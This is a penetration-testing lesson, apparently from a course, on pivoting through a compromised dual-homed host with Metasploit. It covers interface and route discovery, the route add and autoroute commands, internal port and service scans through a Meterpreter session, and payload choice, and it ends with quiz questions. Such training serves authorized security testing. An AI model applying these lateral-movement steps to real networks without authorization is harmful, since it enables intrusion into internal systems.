7.1 Network Pivoting & Route Addition in Metasploit
Key Takeaways
Network pivoting enables a penetration tester to leverage a compromised multi-homed system as an intermediary conduit to route traffic into isolated internal subnets.
Multi-homed hosts are identified during post-exploitation by auditing network interface configurations and routing tables with commands such as ip a, ifconfig, ipconfig /all, and route print.
Metasploit's internal routing table (route add or post/multi/manage/autoroute) directs Metasploit auxiliary scanners and exploit modules through established Meterpreter sessions.
Metasploit routing functions strictly within the framework process; external tools like Nmap, cURL, or web browsers cannot route through these internal paths without a proxy.
7.1 Network Pivoting & Route Addition in Metasploit
In modern enterprise environments and practical penetration testing assessments, organizations rarely place critical assets directly on internet-facing network segments. Defense-in-depth network architecture isolates high-value internal infrastructure—such as database servers, domain controllers, management appliances, and development workstations—behind perimeter firewalls, Demilitarized Zones (DMZs), and internal Virtual Local Area Networks (VLANs). An external penetration tester or red team operator who compromises an edge server (such as an external web server or VPN concentrator) frequently discovers that the compromised machine cannot reach the broader corporate network through direct, externally routable pathways.
To continue the assessment and assess the organization's true security posture, the tester must perform network pivoting. Pivoting is the technique of utilizing a compromised system (referred to as a pivot host or foothold) as a gateway or intermediary conduit to tunnel network traffic, scan internal subnets, and launch targeted exploits against secondary machines that are otherwise inaccessible from the attacker's primary workstation.
Multi-Subnet Architecture & The Pivoting Scenario
Consider a classic enterprise segmented topology. The penetration tester operates from an external testing system (such as Kali Linux) connected to an edge network or external subnet. The perimeter web server possesses two distinct network interface cards (NICs), creating a multi-homed host configuration. One interface connects to the perimeter subnet accessible to the tester, while the second interface connects directly to an internal, non-routable corporate subnet.
+-----------------------------------------------------------------------------------------+
| ENTERPRISE SEGMENTED PIVOT TOPOLOGY |
+-----------------------------------------------------------------------------------------+
| |
| +-----------------------+ +--------------------------------------+ |
| | Attacker System | | Compromised Pivot Host | |
| | (Kali Linux) | | (Dual-Homed Server) | |
| | | | | |
| | IP: 10.10.14.5/24 | === [Direct Link] ==| eth0: 10.10.14.20/24 (Perimeter) | |
| +-----------------------+ | eth1: 192.168.2.15/24 (Internal) | |
| +--------------------------------------+ |
| | |
| [Internal Switch / VLAN] |
| | |
| +---------------------------+-------------------+ |
| | | |
| +-------------------------------+ +-------------------------------+ |
| | Internal Target 1 | | Internal Target 2 | |
| | (Domain Controller) | | (Database Server) | |
| | | | | |
| | IP: 192.168.2.10/24 | | IP: 192.168.2.25/24 | |
| +-------------------------------+ +-------------------------------+ |
+-----------------------------------------------------------------------------------------+
In this scenario, attempting to send ICMP echo packets (ping 192.168.2.10) or initiating a port scan (nmap 192.168.2.10) directly from Kali fails immediately. The attacker's local routing table has no route for 192.168.2.0/24, and edge firewalls drop packets destined for non-routable RFC 1918 internal subnets. The tester must establish a command-and-control foothold on the dual-homed server and configure a routing mechanism to channel assessment traffic through the compromised host's internal adapter.
Discovering Multi-Homed Targets
Once initial access is achieved and a shell or Meterpreter session is established on a target, post-exploitation host enumeration must immediately prioritize network adapter discovery. Identifying multi-homed configurations uncovers previously hidden subnets and attack paths.
Linux Interface & Route Auditing
On a compromised Linux host, query interface configurations, ARP caches, and kernel routing tables using standard system utilities:
# Inspect all physical and virtual network interfaces and assigned IP subnets
ip addr show
# Legacy interface inspection
ifconfig -a
# Audit kernel routing tables to identify gateways and connected networks
ip route show
# Alternative routing display
netstat -rn
route -n
# Inspect ARP cache to identify active neighbor hosts on adjacent subnets
ip neigh show
cat /proc/net/arp
If ip addr reveals eth0 with 10.10.14.20/24 and a second interface eth1 configured with 192.168.2.15/24, the host is confirmed to be multi-homed, providing a direct gateway into 192.168.2.0/24.
Windows Interface & Route Auditing
On a compromised Windows system, execute the following commands from an interactive cmd.exe or PowerShell prompt:
:: Enumerate all network adapters, IP addresses, subnets, and DNS servers
ipconfig /all
:: Display active routing table and persistent network routes
route print
:: Review the Address Resolution Protocol (ARP) table for known local IP addresses
arp -a
:: Enumerate active network connections and listening ports with process identifiers
netstat -ano
Meterpreter Native Interface Discovery
When operating within an interactive Meterpreter session, native commands query the remote operating system APIs directly without spawning new process binaries (cmd.exe or /bin/sh), minimizing operational noise:
meterpreter > ipconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 2
============
Name : eth0
Hardware MAC : 00:0c:29:4f:8e:1a
IPv4 Address : 10.10.14.20
IPv4 Netmask : 255.255.255.0
Interface 3
============
Name : eth1
Hardware MAC : 00:0c:29:4f:8e:24
IPv4 Address : 192.168.2.15
IPv4 Netmask : 255.255.255.0
meterpreter > route
IPv4 network routes
===================
Subnet Netmask Gateway Interface
------ ------- ------- ---------
0.0.0.0 0.0.0.0 10.10.14.1 eth0
10.10.14.0 255.255.255.0 0.0.0.0 eth0
192.168.2.0 255.255.255.0 0.0.0.0 eth1
Metasploit Routing Architecture: MSF Virtual Routing vs. OS Routing Table
Understanding the boundary between the Metasploit virtual routing table and the operating system kernel routing table is essential for effective pivoting.
When a route is added inside the Metasploit Framework (using the route add command or the autoroute post module), the route is registered strictly within the memory space of the msfconsole Ruby process. Metasploit does not modify the Linux kernel routing table on Kali Linux, nor does it create a virtual network interface (TUN/TAP) on the host operating system.
+-----------------------------------------------------------------------------------------+
| METASPLOIT VIRTUAL ROUTING ARCHITECTURE |
+-----------------------------------------------------------------------------------------+
| |
| [Attacker Machine: Kali Linux] |
| +-----------------------------------------------------------------------------------+ |
| | Linux OS Kernel Space | |
| | - OS Routing Table: Default Gateway -> 10.10.14.1 | |
| | - Standalone CLI Tools: nmap, curl, hydra, ssh (BYPASS METASPLOIT ROUTE!) | |
| +-----------------------------------------------------------------------------------+ |
| | |
| +-----------------------------------------------------------------------------------+ |
| | msfconsole (User Space Ruby Process) | |
| | - MSF Virtual Routing Table: 192.168.2.0/24 -> Route through Meterpreter Session 1 | |
| | - MSF Modules: auxiliary/scanner/*, exploit/* (CAN ROUTE TO 192.168.2.0/24) | |
| +-----------------------------------------------------------------------------------+ |
| | |
| | [Encrypted TLS Command & Control Tunnel / Session 1] |
| v |
| [Compromised Pivot Host] |
| +-----------------------------------------------------------------------------------+ |
| | Meterpreter Payload -> Forwards packets out eth1 interface to 192.168.2.0/24 | |
| +-----------------------------------------------------------------------------------+ |
+-----------------------------------------------------------------------------------------+
Because Metasploit routes exist only within the framework:
- All Metasploit modules (auxiliary scanners, exploit modules, payload handlers) automatically query the internal routing table. If a target IP address falls within a routed subnet, Metasploit encapsulates the packet data into Type-Length-Value (TLV) structures and sends it through the designated Meterpreter session.
- External operating system commands executed from the Kali terminal (such as
ping 192.168.2.10,nmap 192.168.2.10, orcurl http://192.168.2.10) do not communicate with Metasploit's memory space. The Linux kernel evaluates its own routing table, fails to find a route to192.168.2.0/24, forwards the traffic to the default gateway, and drops the connection.
Adding and Managing Routes in Metasploit
Metasploit provides two methods for populating its internal routing table: manual route definition and automated discovery through post-exploitation modules.
Manual Route Addition
To route traffic destined for a newly discovered internal subnet through an established Meterpreter session, use the route command from the msf> console prompt:
# Syntax:
# route add <Subnet_IP> <Netmask> <Session_ID>
# route add <CIDR_Subnet> <Session_ID>
msf6 > route add 192.168.2.0 255.255.255.0 1
[*] Route added
# Alternatively, CIDR notation is fully supported:
msf6 > route add 192.168.2.0/24 1
[*] Route added
Viewing and Deleting Routes
Verify that the route was registered correctly using route print:
msf6 > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
192.168.2.0 255.255.255.0 Session 1
If a session terminates or an incorrect subnet was added, remove the route or clear all active routes:
# Remove a specific subnet route
msf6 > route remove 192.168.2.0 255.255.255.0 1
[*] Route removed
# Flush all registered Metasploit routes
msf6 > route flush
[*] Routing table cleared
Automated Route Management with autoroute
The post/multi/manage/autoroute post-exploitation module automates subnet discovery. It queries the target session's network adapters, identifies all attached subnets that differ from the primary connection, and automatically inserts the corresponding routes into Metasploit's routing table.
# Method 1: Executing autoroute via the post module interface
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/autoroute) > run
[!] SESSION 1 is active, querying interfaces...
[+] AutoRoute adding a route to 192.168.2.0/255.255.255.0 via session 1
[*] Post module execution completed
# Method 2: Running autoroute directly from within an active Meterpreter prompt
meterpreter > run post/multi/manage/autoroute
[!] SESSION 1 is active, querying interfaces...
[+] AutoRoute adding a route to 192.168.2.0/255.255.255.0 via session 1
[*] Post module execution completed
# View routes configured specifically by autoroute
meterpreter > run post/multi/manage/autoroute -p
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.2.0 255.255.255.0 Session 1
Executing Attacks and Scanning Across the Metasploit Route
Once Metasploit's virtual routing table contains a route to 192.168.2.0/24 via Session 1, any auxiliary scanner module or exploit module will automatically route its network requests through the Meterpreter channel.
Internal Subnet Host & Port Discovery
Because external port scanners like standalone Nmap cannot use Metasploit's internal routes directly, use Metasploit's built-in TCP port scanner auxiliary module (auxiliary/scanner/portscan/tcp):
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.2.1-254
RHOSTS => 192.168.2.1-254
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 21,22,80,139,445,3389,8080
PORTS => 21,22,80,139,445,3389,8080
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.2.10:445 - 192.168.2.10:445 - TCP OPEN
[+] 192.168.2.10:139 - 192.168.2.10:139 - TCP OPEN
[+] 192.168.2.10:80 - 192.168.2.10:80 - TCP OPEN
[+] 192.168.2.25:22 - 192.168.2.25:22 - TCP OPEN
[+] 192.168.2.25:3306 - 192.168.2.25:3306 - TCP OPEN
[*] Scanned 254 of 254 hosts (100% complete)
[*] Auxiliary module execution completed
The port scanner transmits TCP SYN packets through the Meterpreter session. The pivot host completes the three-way TCP handshake with the internal targets and reports the open ports back to msfconsole.
Service Enumeration Through the Pivot
After identifying open ports, execute specialized Metasploit auxiliary modules against the newly discovered internal hosts to enumerate software versions and configurations:
# Enumerate SMB versions and operating system releases on internal Windows targets
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.2.10
msf6 auxiliary(scanner/smb/smb_version) > run
[+] 192.168.2.10:445 - Host is running Windows Server 2019 Standard Build 17763 (name:DC01) (domain:CORP.LOCAL)
# Enumerate SSH daemon banners on internal Linux servers
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.2.25
msf6 auxiliary(scanner/ssh/ssh_version) > run
[+] 192.168.2.25:22 - SSH server version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u1
Exploitation Considerations Across Routes
When launching an exploit module against an internal host across a Metasploit route, payload selection requires careful consideration:
- Bind Payloads (
windows/meterpreter/bind_tcporlinux/x64/shell_bind_tcp): Bind payloads instruct the exploited internal target to open a listening port locally. Metasploit connects inbound to that port through the existing route. Bind shells are highly reliable across pivots because they do not require the internal target to initiate an outbound connection back to the attacker. - Reverse Payloads (
windows/meterpreter/reverse_tcp): If using a reverse payload, the internal victim machine cannot reach Kali's IP (10.10.14.5) directly. The payload will attempt to connect out, fail to find a route to Kali, and terminate. To use a reverse payload across a pivot, the tester must configure a multi-stage handler or use port forwarding to relay the reverse connection through the pivot host.
Metasploit Routing Commands & Workflow Reference
| Action | Context | Command Syntax | Description |
|---|---|---|---|
| Add Manual Route | msf > | route add 192.168.2.0 255.255.255.0 1 | Registers a route to 192.168.2.0/24 through active Meterpreter Session 1. |
| Add CIDR Route | msf > | route add 192.168.2.0/24 1 | Alternative CIDR syntax to register a subnet route via Session 1. |
| List Active Routes | msf > | route print | Displays all subnets, netmasks, and gateway sessions in Metasploit's virtual table. |
| Remove Route | msf > | route remove 192.168.2.0/24 1 | Removes a specific registered route from Metasploit's memory space. |
| Flush All Routes | msf > | route flush | Clears all registered internal routes across all active sessions. |
| Auto-Detect Routes | Meterpreter | run post/multi/manage/autoroute | Enumerates target interfaces and automatically adds all secondary subnet routes. |
| Print AutoRoutes | Meterpreter | run post/multi/manage/autoroute -p | Prints active routes established specifically by the autoroute script. |
| Internal TCP Scan | msf > | use auxiliary/scanner/portscan/tcp | Runs a multi-threaded TCP connect scan through active Metasploit routes. |
| SMB Version Scan | msf > | use auxiliary/scanner/smb/smb_version | Fingerprints SMB OS and dialect versions on internal hosts via the pivot route. |
Multi-Subnet Pivoting Execution Lifecycle
| Phase | Objective | Command / Action | Verification Metric |
|---|---|---|---|
| Phase 1: Initial Compromise | Obtain shell on perimeter machine | Launch exploit module against edge service (e.g., Apache, vsftpd) | Meterpreter Session 1 opens on 10.10.14.20:4444. |
| Phase 2: Interface Discovery | Identify hidden internal subnets | meterpreter > ipconfig or route | Identify secondary adapter eth1 on 192.168.2.15/24. |
| Phase 3: Route Registration | Direct MSF traffic through session | msf > route add 192.168.2.0/24 1 | Output from route print shows 192.168.2.0/24 -> Session 1. |
| Phase 4: Internal Reconnaissance | Locate live hosts and open ports | use auxiliary/scanner/portscan/tcp | Detect internal targets (e.g., 192.168.2.10:445, 192.168.2.25:22). |
| Phase 5: Service Auditing | Fingerprint internal daemon versions | use auxiliary/scanner/smb/smb_version | Discover unpatched OS build or exploitable internal software. |
| Phase 6: Pivot Exploitation | Compromise secondary target | Configure exploit with set RHOSTS 192.168.2.10 and bind payload | Meterpreter Session 2 opens on internal target 192.168.2.10. |
A penetration tester compromises an edge server and establishes Meterpreter Session 1. Running 'ipconfig' reveals a second adapter connected to 172.16.5.0/24. The tester executes 'route add 172.16.5.0 255.255.255.0 1' in msfconsole, then opens a second terminal on Kali and executes 'ping 172.16.5.10'. Why does the ping fail to receive responses?
The Linux kernel drops ICMP traffic whenever an established Meterpreter session is active in the background
Metasploit routing tables operate strictly within the msfconsole memory space and do not modify the host OS kernel routing table used by external terminal commands
The pivot host requires an administrative reboot before its network interface card can forward packets between adapters
The route add command only functions if the target machine is running a Windows operating system with IP forwarding enabled in the registry
Which Metasploit post-exploitation module automates network interface discovery on a compromised session and registers routes for all newly detected internal subnets without requiring manual IP calculation?
post/windows/gather/enum_subnets
auxiliary/server/socks_proxy
post/multi/manage/autoroute
exploit/multi/handler
During post-exploitation host enumeration on a compromised Linux target, which command combination best identifies whether the system possesses multiple physical network adapters connected to isolated subnets?
ip addr show (or ifconfig -a) to inspect active interfaces and assigned IP subnets, combined with ip route show to examine default gateways and routing entries
uname -a to examine the Linux kernel build architecture and system hostname
cat /etc/resolv.conf to view the nameserver configuration and search domains
ps aux | grep network to identify whether the system administrator has installed enterprise firewall monitoring daemons
Sections you finish are checked off in the contents.